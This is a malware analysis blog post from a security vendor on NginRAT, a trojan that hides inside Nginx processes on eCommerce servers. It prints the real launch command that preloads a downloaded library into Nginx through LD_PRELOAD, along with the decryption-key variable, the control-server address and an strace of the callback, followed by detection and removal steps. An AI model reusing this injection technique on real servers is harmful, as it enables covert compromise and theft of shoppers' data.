Get started in 5 minutes!

NginRAT parasite targets Nginx

NginRAT parasite targets Nginx

A new parasitic malware targets the popular Nginx web server, Sansec discovered. This novel code injects itself into a host Nginx application and is nearly invisible. The parasite is used to steal data from eCommerce servers, also known as “server-side Magecart”. The malware was found on servers in the US, Germany and France. In this post, we show you how to find and remove it.

Last week we exposed the CronRAT eCommerce malware, which is controlled by a Chinese server. Out of curiosity, we wrote a “custom” RAT client and waited for commands from the far east. Eventually, the control server requested our fake RAT to launch another, more advanced piece of malware. We call it: NginRAT (“engine-rat”).

NginRAT essentially hijacks a host Nginx application to masquerade its presence. To do that, NginRAT modifies core functionality of the Linux host system. When the legitimate Nginx web server uses such functionality (eg dlopen), NginRAT injects itself. The result is a remote access trojan that is embedded in the Nginx process. On a typical eCommerce web server, there are many Nginx processes. And the rogue Nginx looks just like the others. Can you spot the difference?

So far, Sansec has identified NginRAT instances on eCommerce servers in the US, Germany and France. We suspect that more servers have been affected.

Technical analysis

CronRAT talks with its control server at 47.115.46.167:443 using custom commands. One is dwn, which downloads a Linux system library to /dev/shm/php-shared. Then, CronRAT is instructed to launch:

env LD_L1BRARY_PATH="[580 bytes]" \
    LD_PRELOAD=/dev/shm/php-shared \
    /usr/sbin/nginx --help --help --help --help --help --help --help --help \
    --help --help --help --help --help --help --help --help --help --help --help \
    --help --help --help --help --help --help --help --help --help --help --help \
    --help --help --help --help --help --help --help --help --help --help --help \
    --help --help --help --help --help --help --help --help --help 1>&2 &

This “cry for help” effectively injects the NginRAT parasite into the host Nginx application. So what is going on here?

Two variables are passed to Nginx. The first is LD_L1BRARY_PATH. Noticed the 1 typo? It holds a decryption key for the RAT payload:

LJMESRJVJJKTGSKRJAZTGRCGG5NEISKWJ4QDCMZAG5EFIV2CIY2UWT2FKFMVIT2VKIQDCMD4KZBVUNCDEAZSAVCTIQ3UKSKDGNFE4MSZJ5DTKRCNJAZVQWBXJVFECSRUGJDUKR2RIVIECTCDKNEFAS2HIFCVSIBSHB6FOT2CJJGFOTCOK5JUWSKDJI2FKM22LFHDKT2OLJEUYWC2KBCUSIBRHEQDETCYKBKFAQJWGI3TMT2RKM3VCWCNIJGFAVJWGRDFIQJXKQ3U6TKFK5HDIWKILBHFSRKRIEQDEN34GYZEWM2KJBHUWRCZLFLFQTSHJI3E6TBSG5KTMQ2LLI3UKN2QK5ETKTJAGIYSAVCELJHDGNBVKNCVCSKTLJLTKMZAGEYHYUJUEAYSAV2ZKBFTKUJVI5ETESSKINKUQRZWKM3DOQJTJFLUIMSBJRJVSQKCJU3VISSKIE2VUR2HIRDU6NCJEAZDTVXSVLQCAVEEAQ6JZNKIUQ7WXU25XTJOBP7IQ42E4LW6YLHDDXVB4FYRLYWTHAIGBU4CABJKWPVGTV5SRGXYI5Q4QPB3LTEPU42JUSCA

The second is LD_PRELOAD, which is a Linux debugging feature. Developers use it to test new system libraries. However, it can also be used to intercept standard Linux library calls. As you can see, the malicious php-shared library intercepts dlopen and dlsym, which Nginx uses.

Once Nginx calls dlopen, NginRAT takes control. It removes the php-shared file, changes its process name to nginx: worker process, gathers information about the system and opens up a connection with the c&c server at 47.115.46.167. It then awaits further commands, possibly sleeping for weeks or months.

// Partial strace of NginRAT
uname({sysname="Linux", nodename="ubuntu-2gb-fsn1-1", ...}) = 0
clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CHILD_SETTID|SIGCHLD, child_tidptr=0x7fb008b9d210) = 8949
openat(AT_FDCWD, "/proc/self/maps", O_RDONLY) = 3
getcwd("/dev/shm", 4096)          = 9
readlink("/proc/self/exe", "/usr/sbin/nginx", 4096) = 15
chdir("/usr/sbin")   
openat(AT_FDCWD, "/proc/self/stat", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/dev/shm/php-shared", O_RDONLY) = 3
connect(3, {sa_family=AF_INET, sin_port=htons(443), sin_addr=inet_addr("47.115.46.167")}, 16) = ? ERESTARTSYS (To be restarted if SA_RESTART is set)

A traffic dump of the initial NginRAT handshake with the control server:

How to detect and remove NginRAT

Because NginRAT embeds itself into a legitimate Nginx host process, the standard /proc/PID/exe will point to Nginx, not to the malware. Also, the library code is never written to disk and cannot be examined after its launch. However, the use of LD_L1BRARY_PATH (with typo) may reveal the presence of this particular NginRAT version. In order to find any active processes, run this command:

$ sudo grep -al LD_L1BRARY_PATH /proc/*/environ | grep -v self/
/proc/17199/environ
/proc/25074/environ

It will show any compromised processes. Kill all of them with kill -9 <PID>. Be sure to check our CronRAT analysis as well, because you likely have malware in your cron tasks.

Prevent Magecart attacks,
protect your web store
with Sansec's eComscan

Since our discovery of MageCart attacks in 2015, we've investigated thousands of hacked Magento web stores. All our research findings are added to our automated malware and vulnerability scanner for Magento and Adobe Commerce.
Merchants using eComscan are protected against the latest malware attacks and all known backdoors. eComscan provides an hourly vulnerability audit on all Magento versions, configurations, and extensions.

Try our malware scanner